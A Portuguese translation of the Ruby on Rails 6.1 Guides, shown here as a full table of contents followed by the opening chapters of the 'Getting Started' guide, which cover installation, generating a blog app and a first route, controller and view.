Contents

Front Matter

- Ruby on Rails Guides (v6.1.3.1)

Começando com Rails — Ruby on Rails...

- 1 Premissas do Guia

- 2 O que é o Rails?

- 3 Criando um Novo Projeto em Rails

- 4 Olá, Rails!

- 5 MVC e Você

- 6 Operações CRUD

- 7 Adicionando um Segundo Model

- 8 Refatorando

- 9 Deletando Comentários

- 10 Segurança

- 11 O que vem depois?

- 12 Dicas de Configuração

Básico do Active Record — Ruby on...

- 1 O que é Active Record?

- 2 Convenção sobre configuração no Active Record

- 3 Criando Models do Active Record

- 4 Sobrepondo Conveções de Nomes

- 5 CRUD: Lendo e Escrevendo Dados

- 6 Validações

- 7 Callbacks

- 8 Migrations

Active Record Migrations — Ruby on...

- 1 Visão Geral de Migration

- 2 Criando uma Migration

- 3 Escrevendo uma Migration

- 4 Executando as Migrations

- 5 Mudando Migrations Existentes

- 6 Schema Dumping e Você

- 7 Active Record e Integridade Referencial

- 8 Migrações e Dados de Seed

- 9 Migrations Antigas

Validações do Active Record — Ruby on...

- 1 Resumo das Validações

- 2 Helpers de Validação

- 3 Opções de Validação Comuns

- 4 Validações Estritas

- 5 Validação com Condicional

- 6 Realizando Validações Customizadas

- 7 Trabalhando com Erros de Validação

- 8 Exibindo Erros de Validação nas Views

Active Record Callbacks — Ruby on...

- 1 O Ciclo de Vida do Objeto

- 2 Visão geral de Callbacks

- 3 Callbacks Disponíveis

- 4 Executando Callbacks

- 5 Ignorando Callbacks

- 6 Interrompendo uma Execução

- 7 Callbacks Relacionais

- 8 Callbacks Condicionais

- 9 Classes Callback

- 10 Callbacks de Transação

Associações Active Record — Ruby on...

- 1 Por Que Associações?

- 2 Os Tipos de Associações

- 3 Dicas, Truques e Avisos

- 4 Referência Detalhada das Associações

- 5 Single Table Inheritance (STI)

Interface de Consulta do Active Record...

- 1 O que é a Interface do Active Record para Queries?

- 2 Recuperando Objetos do Banco de Dados

- 3 Condições

- 4 Ordenando

- 5 Selecionando Campos Específicos

- 6 Limit e Offset

- 7 Agrupando

- 8 Having

- 9 Condições de Substituição

- 10 Relações Nulas

- 11 Objetos Readonly (Somente leitura)

- 12 Bloqueando registros para alteração

- 13 Associando Tabelas

- 14 Associations com Eager Loading

- 15 Scopes

- 16 Localizadores Dinâmicos

- 17 Enums

- 18 Entendendo Encadeamento de Métodos

- 19 Encontrando ou Construindo um Novo Objeto

- 20 Finding by SQL

- 21 Existência de Objetos

- 22 Cálculos

- 23 Executando o EXPLAIN

Básico de Active Model — Ruby on Rails...

- 1 O que é Active Model?

Action View Overview — Ruby on Rails...

- 1 What is Action View?

- 2 Using Action View with Rails

- 3 Templates, Partials, and Layouts

- 4 Partial Layouts

- 5 View Paths

- 6 Helpers

- 7 Localized Views

Layouts e Renderização no Rails — Ruby...

- 1 Visão Geral: Como as peças se encaixam

- 2 Criando respostas

- 3 Estruturando Layouts

Action View Helpers — Ruby on Rails...

- 1 Overview of helpers provided by Action View

Action View Form Helpers — Ruby on...

- 1 Trabalhando com formulários básicos.

- 2 Trabalhando com Objetos Model

- 3 Criando Caixas de Seleção (Select Boxes) com Facilidade

- 4 Usando Form Helpers para Data e Hora

- 5 Choices from a Collection of Arbitrary Objects

- 6 Enviando Arquivos

- 7 Customizando os Construtores de Formulários

- 8 Entendendo Convenções de Nomeação de Parâmetros

- 9 Formulários para Recursos Externos

- 10 Building Complex Forms

- 11 Using Tag Helpers Without a Form Builder

- 12 Usando form_for e form_tag

Action Controller Overview — Ruby on...

- 1 O que um Controller faz?

- 2 Convenção para Nomeclatura de Controllers

- 3 Métodos e Actions

- 4 Parâmetros

- 5 Sessão

- 6 Cookies

- 7 Renderizando dados XML e JSON

- 8 Filtros

- 9 Proteção de falsificação de requisição

- 10 Os Objetos de Requisição e Resposta

- 11 Autenticações HTTP

- 12 Streaming e Downloads de Arquivos

- 13 Filtragem de Log

- 14 Rescue

- 15 Forçar protocolo HTTPS

Rotas do Rails de Fora pra Dentro —...

- 1 O Propósito do Roteador do Rails

- 2 Roteando Resources (Recursos): O padrão do Rails

- 3 Rotas sem uso de Resources

- 4 Customizando Rotas com Recursos

- 5 Breaking up very large route file into multiple small ones:

- 6 Inspecionando e Testando Rotas

Active Support Core Extensions — Ruby...

- 1 Como Carregar Core Extensions

- 2 Extensões para todos os objetos

- 3 Extensões de Module

- 4 Extensions to Class

- 5 Extensions to String

- 6 Extensions to Symbol

- 7 Extensions to Numeric

- 8 Extensions to Integer

- 9 Extensions to BigDecimal

- 10 Extensions to Enumerable

- 11 Extensions to Array

- 12 Extensions to Hash

- 13 Extensions to Regexp

- 14 Extensions to Range

- 15 Extensions to Date

- 16 Extensions to DateTime

- 17 Extensions to Time

- 18 Extensions to File

- 19 Extensions to Marshal

- 20 Extensions to NameError

- 21 Extensions to LoadError

Começando a usar Action Mailer — Ruby...

- 1 O que é o Action Mailer?

- 2 Enviando E-mails

- 3 Callbacks do Action Mailer

- 4 Usando os helpers do Action Mailer

- 5 Configuração do Action Mailer

- 6 Testes de Mailer

- 7 Interceptando e Observando Emails

Action Mailbox Basics — Ruby on Rails...

- 1 What is Action Mailbox?

- 2 Setup

- 3 Configuration

- 4 Examples

- 5 Incineration of InboundEmails

- 6 Working with Action Mailbox in development

- 7 Testing mailboxes

Action Text Overview — Ruby on Rails...

- 1 What is Action Text?

- 2 Trix compared to other rich text editors

- 3 Installation

- 4 Examples

- 5 Avoid N+1 queries

- 6 Custom styling

- 7 API / Backend development

Básico de Active Jobs — Ruby on Rails...

- 1 O que é Active Job?

- 2 O Propósito do Active Job

- 3 Criando um Job

- 4 Execução de Job

- 5 Filas

- 6 Callbacks

- 7 Action Mailer

- 8 Internacionalização

- 9 Tipos suportados por argumentos

- 10 Exceções

- 11 Testando os Jobs

Active Storage Overview — Ruby on...

- 1 O que é Active Storage?

- 2 Configuração

- 3 Anexar Arquivos a Registros

- 4 Removendo arquivos

- 5 Conectando (Linking) arquivos

- 6 Baixando arquivos

- 7 Analisando arquivos

- 8 Transformando Imagens

- 9 Pré-visualização de arquivos

- 10 Uploads Diretos

- 11 Discarding Files Stored During System Tests

- 12 Discarding Files Stored During Integration Tests

- 13 Implementing Support for Other Cloud Services

Action Cable Overview — Ruby on Rails...

- 1 O que é o Action Cable?

- 2 Terminology

- 3 _Pub/Sub

- 4 Componentes Server-Side

- 5 Componentes Client-Side

- 6 Client-Server Interactions

- 7 Full-Stack Examples

- 8 Configuração

- 9 Executando Servidores Cable Autônomos

- 10 Dependências

- 11 Implantação

- 12 Teste

API de Internacionalização do Rails...

- 1 How I18n in Ruby on Rails Works

- 2 Setup the Rails Application for Internationalization

- 3 Internationalization and Localization

- 4 Overview of the I18n API Features

- 5 How to Store your Custom Translations

- 6 Customize your I18n Setup

- 7 Translating Model Content

- 8 Conclusion

- 9 Contributing to Rails I18n

- 10 Resources

- 11 Authors

- 12 Footnotes

Testing Rails Applications — Ruby on...

- 1 Why Write Tests for your Rails Applications?

- 2 Introduction to Testing

- 3 Parallel Testing

- 4 The Test Database

- 5 Model Testing

- 6 System Testing

- 7 Integration Testing

- 8 Functional Tests for Your Controllers

- 9 Testing Routes

- 10 Testing Views

- 11 Testing Helpers

- 12 Testing Your Mailers

- 13 Testing Jobs

- 14 Testing Action Cable

- 15 Additional Testing Resources

Securing Rails Applications — Ruby on...

- 1 Introduction

- 2 Sessions

- 3 Cross-Site Request Forgery (CSRF)

- 4 Redirection and Files

- 5 Intranet and Admin Security

- 6 User Management

- 7 Injection

- 8 Unsafe Query Generation

- 9 Default Headers

- 10 Environmental Security

- 11 Dependency Management and CVEs

- 12 Additional Resources

Debug de Aplicações Rails — Ruby on...

- 1 View Helpers para Debugging

- 2 O Logger

- 3 Debug com a gem byebug

- 4 Debugging with the web-console gem

- 5 Debugging Memory Leaks

- 6 Plugins for Debugging

- 7 References

Configurando Aplicações Rails — Ruby...

- 1 Locais para Código de Inicialização

- 2 Executando Código Antes do Rails

- 3 Configurando Componentes Rails

- 4 Rails Environment Settings

- 5 Using Initializer Files

- 6 Initialization events

- 7 Database pooling

- 8 Custom configuration

- 9 Search Engines Indexing

- 10 Evented File System Monitor

Linhas de Comando do Rails — Ruby on...

- 1 Noções Básicas de Linha de Comando

- 2 The Rails Advanced Command Line

O Asset Pipeline — Ruby on Rails Guides

- 1 O que é o Asset Pipeline?

- 2 Como usar o Asset Pipeline

- 3 In Development

- 4 In Production

- 5 Customizing the Pipeline

- 6 Assets Cache Store

- 7 Adding Assets to Your Gems

- 8 Making Your Library or Gem a Pre-Processor

Trabalhando com JavaScript no Rails —...

- 1 Uma introdução ao Ajax

- 2 JavaScript discreto (unobtrusive)

- 3 Helpers Internos

- 4 Preocupações Do Lado Do Servidor

- 5 Turbolinks

- 6 Token de Falsa Requisição Entre Sites (CSRF) em Ajax

- 7 Outros recursos

The Rails Initialization Process —...

- 1 Launch!

- 2 Loading Rails

Autoloading and Reloading Constants...

- 1 Introduction

- 2 Enabling Zeitwerk Mode

- 3 Project Structure

- 4 Autoload Paths

- 5 $LOAD_PATH

- 6 Reloading

- 7 Eager Loading

- 8 Single Table Inheritance

- 9 Customizing Inflections

- 10 Troubleshooting

- 11 Rails.autoloaders

- 12 Differences with Classic Mode

- 13 Classic Mode is Deprecated

- 14 Opting Out

Autoloading and Reloading Constants...

- 1 Introduction

- 2 Constants Refresher

- 3 Vocabulary

- 4 Autoloading Availability

- 5 autoload_paths and eager_load_paths

- 6 Autoloading Algorithms

- 7 require_dependency

- 8 Constant Reloading

- 9 Common Gotchas

- 10 Troubleshooting

Caching with Rails: An Overview — Ruby...

- 1 Basic Caching

- 2 Cache Stores

- 3 Cache Keys

- 4 Conditional GET support

- 5 Caching in Development

- 6 References

Active Support Instrumentation — Ruby...

- 1 Introduction to instrumentation

- 2 Subscribing to an event

- 3 Rails framework hooks

- 4 Action Controller

- 5 Action Dispatch

- 6 Action View

- 7 Active Record

- 8 Action Mailer

- 9 Active Support

- 10 Active Job

- 11 Action Cable

- 12 Active Storage

- 13 Railties

- 14 Rails

- 15 Exceptions

- 16 Creating custom events

Using Rails for API-only Applications...

- 1 O que é uma Aplicação API?

- 2 Por Que Usar Rails para APIs JSON?

- 3 Configuração básica

- 4 Escolhendo o Middleware

- 5 Escolhendo os módulos do controller

Active Record and PostgreSQL — Ruby on...

- 1 Datatypes

- 2 UUID Primary Keys

- 3 Full Text Search

- 4 Database Views

Multiple Databases with Active Record...

- 1 Setting up your application

- 2 Generators and Migrations

- 3 Activating automatic connection switching

- 4 Using manual connection switching

- 5 Horizontal sharding

- 6 Granular Database Connection Switching

- 7 Caveats

The Basics of Creating Rails Plugins —...

- 1 Setup

- 2 Testing Your Newly Generated Plugin

- 3 Extending Core Classes

- 4 Add an "acts_as" Method to Active Record

- 5 Generators

- 6 Publishing Your Gem

- 7 RDoc Documentation

Rails on Rack — Ruby on Rails Guides

- 1 Introduction to Rack

- 2 Rails on Rack

- 3 Action Dispatcher Middleware Stack

- 4 Resources

Criando e Personalizando Geradores...

- 1 First Contact

- 2 Creating Your First Generator

- 3 Creating Generators with Generators

- 4 Generators Lookup

- 5 Customizing Your Workflow

- 6 Customizing Your Workflow by Changing Generators Templates

- 7 Adding Generators Fallbacks

- 8 Application Templates

- 9 Adding Command Line Arguments

- 10 Generator methods

Introdução às Engines — Ruby on Rails...

- 1 What are Engines?

- 2 Generating an Engine

- 3 Providing Engine Functionality

- 4 Hooking Into an Application

- 5 Testing an Engine

- 6 Improving Engine Functionality

- 7 Load and Configuration Hooks

Threading and Code Execution in Rails...

- 1 Automatic Concurrency

- 2 Executor

- 3 Reloader

- 4 Framework Behavior

- 5 Load Interlock

Contribuindo para o Ruby on Rails —...

- 1 Reporting an Issue

- 2 Helping to Resolve Existing Issues

- 3 Contribuindo com a documentação do Rails

- 4 Translating Rails Guides

- 5 Contributing to the Rails Code

- 6 Contribuintes do Rails

Orientações para Documentação de API —...

- 1 RDoc

- 2 Wording

- 3 English

- 4 Oxford Comma

- 5 Example Code

- 6 Booleans

- 7 File Names

- 8 Fonts

- 9 Description Lists

- 10 Dynamically Generated Methods

- 11 Method Visibility

- 12 Regarding the Rails Stack

Ruby on Rails Guides Guidelines — Ruby...

- 1 Markdown

- 2 Prologue

- 3 Headings

- 4 Linking to the API

- 5 API Documentation Guidelines

- 6 HTML Guides

- 7 Kindle Guides

Maintenance Policy for Ruby on Rails —...

- 1 New Features

- 2 Bug Fixes

- 3 Security Issues

- 4 Severe Security Issues

- 5 Unsupported Release Series

Atualizando o Ruby on Rails — Ruby on...

- 1 Conselho Geral

- 2 Upgrading from Rails 6.0 to Rails 6.1

- 3 Upgrading from Rails 5.2 to Rails 6.0

- 4 Upgrading from Rails 5.1 to Rails 5.2

- 5 Upgrading from Rails 5.0 to Rails 5.1

- 6 Upgrading from Rails 4.2 to Rails 5.0

- 7 Upgrading from Rails 4.1 to Rails 4.2

- 8 Upgrading from Rails 4.0 to Rails 4.1

- 9 Upgrading from Rails 3.2 to Rails 4.0

- 10 Upgrading from Rails 3.1 to Rails 3.2

- 11 Upgrading from Rails 3.0 to Rails 3.1

Ruby on Rails 6.1 Release Notes — Ruby...

- 1 Upgrading to Rails 6.1

- 2 Major Features

- 3 Railties

- 4 Action Cable

- 5 Action Pack

- 6 Action View

- 7 Action Mailer

- 8 Active Record

- 9 Active Storage

- 10 Active Model

- 11 Active Support

- 12 Active Job

- 13 Action Text

- 14 Action Mailbox

- 15 Ruby on Rails Guides

- 16 Credits

Ruby on Rails 6.0 Release Notes — Ruby...

- 1 Upgrading to Rails 6.0

- 2 Major Features

- 3 Railties

- 4 Action Cable

- 5 Action Pack

- 6 Action View

- 7 Action Mailer

- 8 Active Record

- 9 Active Storage

- 10 Active Model

- 11 Active Support

- 12 Active Job

- 13 Ruby on Rails Guides

- 14 Credits

Ruby on Rails 5.2 Release Notes — Ruby...

- 1 Upgrading to Rails 5.2

- 2 Major Features

- 3 Railties

- 4 Action Cable

- 5 Action Pack

- 6 Action View

- 7 Action Mailer

- 8 Active Record

- 9 Active Model

- 10 Active Support

- 11 Active Job

- 12 Ruby on Rails Guides

- 13 Credits

Ruby on Rails 5.1 Release Notes — Ruby...

- 1 Upgrading to Rails 5.1

- 2 Major Features

- 3 Incompatibilities

- 4 Railties

- 5 Action Cable

- 6 Action Pack

- 7 Action View

- 8 Action Mailer

- 9 Active Record

- 10 Active Model

- 11 Active Job

- 12 Active Support

- 13 Credits

Ruby on Rails 5.0 Release Notes — Ruby...

- 1 Upgrading to Rails 5.0

- 2 Major Features

- 3 Railties

- 4 Action Pack

- 5 Action View

- 6 Action Mailer

- 7 Active Record

- 8 Active Model

- 9 Active Job

- 10 Active Support

- 11 Credits

Ruby on Rails 4.2 Release Notes — Ruby...

- 1 Upgrading to Rails 4.2

- 2 Major Features

- 3 Incompatibilities

- 4 Railties

- 5 Action Pack

- 6 Action View

- 7 Action Mailer

- 8 Active Record

- 9 Active Model

- 10 Active Support

- 11 Credits

Ruby on Rails 4.1 Release Notes — Ruby...

- 1 Upgrading to Rails 4.1

- 2 Major Features

- 3 Railties

- 4 Action Pack

- 5 Action Mailer

- 6 Active Record

- 7 Active Model

- 8 Active Support

- 9 Credits

Ruby on Rails 4.0 Release Notes — Ruby...

- 1 Upgrading to Rails 4.0

- 2 Creating a Rails 4.0 application

- 3 Major Features

- 4 Extraction of features to gems

- 5 Documentation

- 6 Railties

- 7 Action Mailer

- 8 Active Model

- 9 Active Support

- 10 Action Pack

- 11 Active Record

- 12 Credits

Ruby on Rails 3.2 Release Notes — Ruby...

- 1 Upgrading to Rails 3.2

- 2 Creating a Rails 3.2 application

- 3 Major Features

- 4 Documentation

- 5 Railties

- 6 Action Mailer

- 7 Action Pack

- 8 Active Record

- 9 Active Model

- 10 Active Resource

- 11 Active Support

- 12 Credits

Ruby on Rails 3.1 Release Notes — Ruby...

- 1 Upgrading to Rails 3.1

- 2 Creating a Rails 3.1 application

- 3 Rails Architectural Changes

- 4 Railties

- 5 Action Pack

- 6 Active Record

- 7 Active Model

- 8 Active Resource

- 9 Active Support

- 10 Credits

Ruby on Rails 3.0 Release Notes — Ruby...

- 1 Upgrading to Rails 3

- 2 Creating a Rails 3.0 application

- 3 Rails Architectural Changes

- 4 Documentation

- 5 Internationalization

- 6 Railties

- 7 Action Pack

- 8 Active Model

- 9 Active Record

- 10 Active Resource

- 11 Active Support

- 12 Action Mailer

- 13 Credits

Ruby on Rails 2.3 Release Notes — Ruby...

- 1 Application Architecture

- 2 Documentation

- 3 Ruby 1.9.1 Support

- 4 Active Record

- 5 Action Controller

- 6 Action View

- 7 Active Support

- 8 Railties

- 9 Deprecated

- 10 Credits

Ruby on Rails 2.2 Release Notes — Ruby...

- 1 Infrastructure

- 2 Documentation

- 3 Better integration with HTTP : Out of the box ETag support

- 4 Thread Safety

- 5 Active Record

- 6 Action Controller

- 7 Action View

- 8 Action Mailer

- 9 Active Support

- 10 Railties

- 11 Deprecated

- 12 Credits

Front Matter

Ruby on Rails Guides (v6.1.3.1)

Estes são os novos guias para o Rails 6.1 baseados na versão v6.1.3.1. Esses guias são projetados para torná-lo imediatamente produtivo com o Rails e para te ajudar a entender como todas as peças se encaixam.

Guias para versões anteriores: Rails 6.0, Rails 5.2, Rails 5.1, Rails 5.0, Rails 4.2, Rails 4.1, Rails 4.0, Rails 3.2, Rails 3.1, Rails 3.0, e Rails 2.3.

Kindle Edition

The Kindle Edition of the Rails Guides should be considered a work in progress. Feedback is really welcome. Please see the "Feedback" section at the end of each guide for instructions.

Este projeto está licenciado sob uma licença Creative Commons Attribution-ShareAlike 4.0 International

"Rails", "Ruby on Rails", e o logotipo Rails são marcas comerciais de David Heinemeier Hansson. Todos os direitos reservados.

Começando com Rails — Ruby on Rails...

1 Premissas do Guia

Este guia é projetado para iniciantes que desejam começar uma aplicação Rails do zero. Ele não assume que você tenha nenhuma experiência anterior com Rails.

O Rails é um framework para aplicações web que é executado em cima da linguagem de programação Ruby. Se você não tem nenhuma experiência com Ruby, você vai achar a curva de aprendizado bastante íngrime começando direto com Rails. Existem diversas listas organizadas de materiais online para aprender Ruby:

- Site Oficial da Linguagem de Programação Ruby (Em inglês)

- Lista de Livros Grátis de Programação (Em inglês)

Fique atento que alguns materiais, apesar de excelentes, envolvem versões antigas do Ruby e podem não incluir parte da sintaxe que você vai ver no seu dia-a-dia desenvolvendo com Rails.

2 O que é o Rails?

Rails é um framework de desenvolvimento de aplicações web escrito na linguagem de programação Ruby. Foi projetado para facilitar o desenvolvimento de aplicações web, criando premissas sobre tudo que uma pessoa desenvolvedora precisa para começar. Permite que você escreva menos código, enquanto realiza mais do que em muitas outras linguagens ou frameworks. Pessoas desenvolvedoras experientes em Rails, também dizem que desenvolver aplicações web ficou mais divertido.

Rails é um software opinativo. Assumindo que há uma "melhor" maneira para fazer as coisas, e foi projetado para encorajar essa maneira - e, em alguns casos para desencorajar alternativas. Se você aprender o "Rails Way", provavelmente terá um grande aumento de produtividade. Se você insistir nos velhos hábitos de outras linguagens, tentando usar os padrões que você aprendeu em outro lugar, você pode ter uma experiência menos feliz.

A filosofia do Rails possui dois princípios fundamentais:

- Não repita a si mesmo: DRY (don't repeat yourself) é um conceito de desenvolvimento de software que estabelece que "Todo conhecimento deve possuir uma representação única, de autoridade e livre de ambiguidades em todo o sistema". Ao não escrever as mesmas informações repetidamente, o código fica mais fácil de manter, de expandir e com menos bugs.

- Convenção sobre configuração: O Rails possui convenções sobre as melhores maneiras de fazer muitas coisas em uma aplicação web, devido a essas convenções você não precisa especificar detalhes através de arquivos de configuração infinitos.

3 Criando um Novo Projeto em Rails

A melhor forma de ler esse guia é seguir o passo à passo. Todos os passos são essenciais para rodar a aplicação de exemplo e nenhum código ou passos adicionais serão necessários.

Seguindo este guia, você irá criar um projeto em Rails chamado de blog, um weblog (muito) simples. Antes de você começar a construir a aplicação, você precisa ter certeza de ter o Rails instalado.

Os exemplos à seguir usam $ para representar seu prompt de terminal em um sistema operacional baseado em UNIX, mesmo que ele tenha sido customizado para parecer diferente. Se você está utilizando Windows, seu prompt será parecido com algo como C:\source_code>.

3.1 Instalando o Rails

Antes de você instalar o Rails, você deve validar para ter certeza que seu sistema tem os pré requisitos necessários instalados. Esses incluem:

- Ruby

- SQLite3

- Node.js

- Yarn

3.1.1 Instalando o Ruby

Abra o prompt de linha de comando. No macOS abra o Terminal.app; no Windows escolha "Executar" no menu inicial e digite cmd.exe. Qualquer comando que antecede o sinal de dólar $ deverá ser rodado em linha de comando. Verifique se você tem a versão atual do Ruby instalado:

$ ruby --version
ruby 2.5.0

ruby --version Copiar

O Rails necessita da versão Ruby 2.5.0 ou mais atual. Se o número da versão retornada for menor que este número (como 2.3.7, e 1.8.7), você precisará instalar uma versão do Ruby mais atual.

Para instalar o Rails no Windows, você primeiro tem que instalar o Ruby Installer.

Para mais informações de instalação de outros Sistemas Operacionais, dê uma olhada em ruby-lang.org.

3.1.2 Instalando o SQLite3

Você também precisará instalar o banco de dados SQLite3. Muitos sistemas operacionais populares semelhantes ao UNIX são fornecidos com uma versão compatível do SQLite3. Em outros sistemas você pode achar mais instruções de instalação em SQLite3 website. Verifique se está corretamente instalado e carregado no seu PATH:

$ sqlite3 --version

sqlite3 --version Copiar

O programa deverá reportar sua versão.

3.1.3 Instalando o Node.js e Yarn

Por fim, você precisará do Node.js e o Yarn instalados para gerenciar o JavaScript da sua aplicação.

Encontre as instruções de instalação no site do Node.js e verifique se está instalado corretamente com o seguinte comando:

$ node --version

node --version Copiar

A versão do Node.js deve ser impressa. Certifique-se de que é maior que 8.16.0.

Para instalar o Yarn, siga as instruções de instalação instruções no site do Yarn.

A execução deste comando deve imprimir a versão do Yarn:

$ yarn --version

yarn --version Copiar

Se aparecer algo como "1.22.0", o Yarn foi instalado corretamente.

3.1.4 Instalando o Rails

Para instalar o Rails, use o comando gem install fornecido pelo RubyGems:

$ gem install rails

gem install rails Copiar

Para verificar se você tem tudo instalado corretamente, você deve rodar o comando à seguir:

$ rails --version

rails --version Copiar

Se esse comando retornar algo como "Rails 6.0.0", você está pronto para continuar.

3.2 Criando a Aplicação Blog

O Rails vem com vários scripts chamados generators que são projetados para tornar sua vida de desenvolvedor fácil, criando tudo que é necessário para começar a trabalhar em uma tarefa em particular. Um desses é o generator de nova aplicação, que irá te fornecer a base de uma nova aplicação em Rails para que você não precise escrever tudo sozinho.

Para utilizar esse generator, abra um terminal, navegue para um diretório onde você tenha permissão para criar arquivos, e rode:

$ rails new blog

rails new blog Copiar

Este comando irá criar uma aplicação em Rails chamada Blog em um diretório blog e irá instalar as dependências das gems que já foram mencionadas no Gemfile usando bundle install.

Se você está utilizando um subsistema Windows para Linux então existem algumas limitações nas notificações dos arquivos do sistema que significa que você deve desabilitar as gems spring e listen, o que poderá ser feito rodando o comando rails new blog --skip-spring --skip-listen.

Você pode ver todas as opções de linha de comando gerador que a aplicação Rails aceita rodando o comando rails new --help.

Depois de criar a aplicação blog, entre em sua pasta:

$ cd blog

cd blog Copiar

A pasta blog vai ter vários arquivos gerados e pastas que compõem a estrutura de uma aplicação Rails. A maior parte da execução deste tutorial será feito na pasta app, mas à seguir teremos um resumo básico das funções de cada um dos arquivos e pastas que o Rails gerou por padrão:

Arquivo/Pasta

Objetivo

app/

Contém os controllers, models, views, helpers, mailers, channels, jobs, e assets para sua aplicação. Você irá se concentrar nesse diretório pelo restante desse guia.

bin/

Contém o script rails que inicializa sua aplicação e contém outros scripts que você utiliza para configurar, atualizar, colocar em produção ou executar sua aplicação.

config/

Contém configurações de rotas, banco de dados entre outros de sua aplicação. Este conteúdo é abordado com mais detalhes em Configuring Rails Applications.

config.ru

Configuração Rack para servidores baseados em Rack usados para iniciar a aplicação. Para mais informações sobre o Rack, consulte Rack website.

db/

Contém o schema do seu banco de dados atual, assim como as migrations do banco de dados.

Gemfile
Gemfile.lock

Esses arquivos permitem que você especifique quais dependências de gem são necessárias na sua aplicação Rails. Esses arquivos são usados pela gem Bundler. Para mais informações sobre o Bundler, acesse o website do Bundler.

lib/

Módulos extendidos da sua aplicação.

log/

Arquivos de log da aplicação.

package.json

Este arquivo permite que você especifique quais dependências npm são necessárias para sua aplicação Rails. Este arquivo é usado pelo Yarn. Para mais informações do Yarn, acesse o website do Yarn.

public/

Contém arquivos estáticos e assets compilados. Quando sua aplicação está rodando esse diretório é exposto como ele está.

Rakefile

Este arquivo localiza e carrega tarefas que podem ser rodadas por linhas de comando. As tarefas são definidas nos componentes do Rails. Ao invés de editar o Rakefile, você deve criar suas próprias tarefas adicionando os arquivos no diretório lib/tasks da sua aplicação.

README.md

Este é um manual de instruções para sua aplicação. Você deve editar este arquivo para informar o que seu aplicativo faz, como configurá-lo e assim por diante.

storage/

Arquivos de armazenamento ativo do serviço de disco. Mais informações em Active Storage Overview.

test/

Testes unitários, fixtures, e outros tipos de testes. Mais informações em Testing Rails Applications.

tmp/

Arquivos temporários (como cache e arquivos pid).

vendor/

Diretório com todos os códigos de terceiros. Em uma típica aplicação Rails inclui vendored gems.

.gitignore

Este arquivo diz ao Git quais arquivos (ou padrões) devem ser ignorados. Acesse GitHub - Ignoring files para mais informações sobre arquivos ignorados.

.ruby-version

Este arquivo contém a versão padrão do Ruby.

4 Olá, Rails!

Para começar vamos colocar um texto na tela rapidamente. Para fazer isso, você precisa que seu servidor de aplicação Rails esteja em execução.

4.1 Inicializando o Servidor Web

Você já tem uma aplicação Rails funcional. Para vê-la você deve iniciar um servidor web em sua máquina de desenvolvimento. Você pode fazer isso executando o seguinte comando no diretório blog:

$ bin/rails server

bin/rails server Copiar

Se você está usando Windows, deve executar os scripts do diretório bin para o interpretador do Ruby: ruby bin\rails server.

A compressão de assets JavaScript requer que você tenha um executor disponível em seu sistema operacional. Na ausência de um executor você verá um erro de execjs durante a compressão dos assets. Geralmente o macOS e o Windows possuem um executor JavaScript instalado por padrão. therubyrhino é o executor recomendado para usuários de JRuby e vem no Gemfile por padrão em aplicações geradas com JRuby. Você pode avaliar todos executores em ExecJS.

A execução do comando irá iniciar o Puma, um servidor web distribuído com o Rails por padrão. Para ver sua aplicação em execução, abra um navegador e navegue para http://localhost:3000. Você deve ver a página padrão com informações do Rails:

Quando você deseja interromper a execução do servidor Web, pressione Ctrl+C na janela do terminal em que o servidor está sendo executado. No ambiente de desenvolvimento, o Rails geralmente não requer que você reinicie o servidor; mudanças em arquivos são automaticamente interpretadas pelo servidor.

A página de "Yay! Você está no Rails! (Yay! You're on Rails!)" é o smoke test (teste de sanidade) para uma nova aplicação Rails: garante que o seu software esteja configurado corretamente, o suficiente para gerar uma página.

4.2 Diga "Olá", Rails

Para que o Rails diga "Olá", você precisa criar no mínimo uma rota (route), um controller com uma action e uma view. A route mapeia uma requisição para uma action de um controller. A action do controller faz todo o trabalho necessário para lidar com a requisição, e prepara qualquer dado para a view. A view mostra o dado no formato que você quiser.

Em termos de implementação: Rotas são regras escritas em um DSL (domain-specific language) em Ruby. Controllers são classes Ruby, e seus métodos públicos são as actions. E as views são templates, geralmente escritos numa mistura de Ruby e HTML.

Vamos começar adicionando uma rota ao nosso arquivo de rotas, config/routes.rb, no topo do bloco Rails.application.routes.draw:

Rails.application.routes.draw do
get "/articles", to: "articles#index"

# Para mais detalhes da DSL disponível para esse arquivo, veja https://guides.rubyonrails.org/routing.html
end

Rails.application.routes.draw do get "/articles", to: "articles#index" # Para mais detalhes da DSL disponível para esse arquivo, veja https://guides.rubyonrails.org/routing.html end Copiar

A rota acima declara que as requisições de GET / articles são mapeadas para o action index do ArticlesController.

Para criar o ArticlesController e sua action index, vamos executar o controlador gerador (com a opção --skip-routes porque já temos um rota apropriada):

$ bin/rails generate controller Articles index --skip-routes

bin/rails generate controller Articles index --skip-routes Copiar

O Rails vai gerar vários arquivos para você:

create  app/controllers/articles_controller.rb
invoke  erb
create    app/views/articles
create    app/views/articles/index.html.erb
invoke  test_unit
create    test/controllers/articles_controller_test.rb
invoke  helper
create    app/helpers/articles_helper.rb
invoke    test_unit
invoke  assets
invoke    scss
create      app/assets/stylesheets/articles.scss

create app/controllers/articles_controller.rb invoke erb create app/views/articles create app/views/articles/index.html.erb invoke test_unit create test/controllers/articles_controller_test.rb invoke helper create app/helpers/articles_helper.rb invoke test_unit invoke assets invoke scss create app/assets/stylesheets/articles.scss Copiar

O mais importante desses é o arquivo controller, app/controllers/articles_controller.rb. Vamos dar uma olhada nele:

class ArticlesController < ApplicationController
def index
end
end

class ArticlesController < ApplicationController def index end end Copiar

A action index está vazia. Quando uma action não renderiza explicitamente uma view (ou de outra forma acionar uma resposta HTTP), o Rails irá renderizar automaticamente uma view que corresponde ao nome do controller e action. Convenção sobre Configuração! As views estão localizadas no diretório app/views. Portanto, a action index renderizará app/views/articles/index.html.erb por padrão.

Vamos abrir o arquivo app/views/articles/index.html.erb, e substituir todo código existente por:

<h1>Olá, Rails!</h1>

<h1>Olá, Rails!</h1> Copiar

Se você parou anteriormente o servidor web para executar o gerador do controller, reinicie-o com bin/rails server. Agora visite http://localhost:3000/articles e veja nosso texto exibido!

4.3 Configuração da Página Inicial da Aplicação

No momento, http://localhost:3000 ainda exibe "Yay! Você está no Rails!". Vamos mostrar nosso "Olá, Rails!" texto em http://localhost:3000 também. Para fazer isso, vamos adicionar uma rota que mapeia o caminho raiz (root path) da nossa aplicação para o controller e action apropriados.

Vamos abrir o arquivo config/routes.rb, e adicionar o a rota root no começo do bloco Rails.application.routes.draw:

Rails.application.routes.draw do
root "articles#index"

get "/articles", to: "articles#index"
end

Rails.application.routes.draw do root "articles#index" get "/articles", to: "articles#index" end Copiar

Agora podemos ver a mensagem "Olá, Rails!", quando visitamos http://localhost:3000 confirmando que a route root também mapeia para a action index de ArticlesController.

